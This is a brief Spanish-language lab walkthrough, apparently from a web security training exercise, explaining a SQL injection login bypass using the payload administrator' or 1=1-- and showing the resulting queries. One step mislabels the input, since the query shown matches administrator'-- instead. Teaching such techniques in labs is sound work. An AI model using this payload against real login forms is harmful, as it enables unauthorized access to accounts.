Este laboratorio contiene una inyección SQL en el formulario de inicio de sesión. Para la resolución de este laboratorio utilizaremos el nombre de usuario administrator.
Nos dirigimos a la página de inicio de sesión.

Cuando introducimos un nombre de usuario y contraseña, la cadena de consulta se verá así:
SELECT * FROM users WHERE username = ‘administrator’ AND password = ‘password’
Ingresamos una comilla simple en el nombre de usuario e inicio de sesión (hacemos lo mismo con la contraseña). Ambas comillas nos dan como resultado un error interno del servidor, lo que nos podría indicar que el formulario es vulnerable a la inyección SQL.

Vamos a ingresar: administrator’ or 1=1–
La cadena de consulta queda de la siguiente manera:
SELECT * FROM users WHERE username = ‘administrator’ or 1=1–’ AND password = ‘password’
Independientemente de si el usuario administrator es un nombre de usuario válido o no, ya 1=1 que siempre devolverá verdadero y — comentará el resto de la declaración. Esto significa que vamos a poder iniciar sesión con el primer usuario de la tabla de usuarios.
Si ingresamos administrator’ or 1=1–

La consulta queda de la siguiente manera:
SELECT * FROM users WHERE username = ‘administrator’–’ AND password = ‘password’
En la consulta anterior, dado que ‘AND password = ‘password’ está comentado y el nombre de usuario es ‘administrator’, nos iniciará en la cuenta de administrador.

El laboratorio queda resuelto.
No responses yet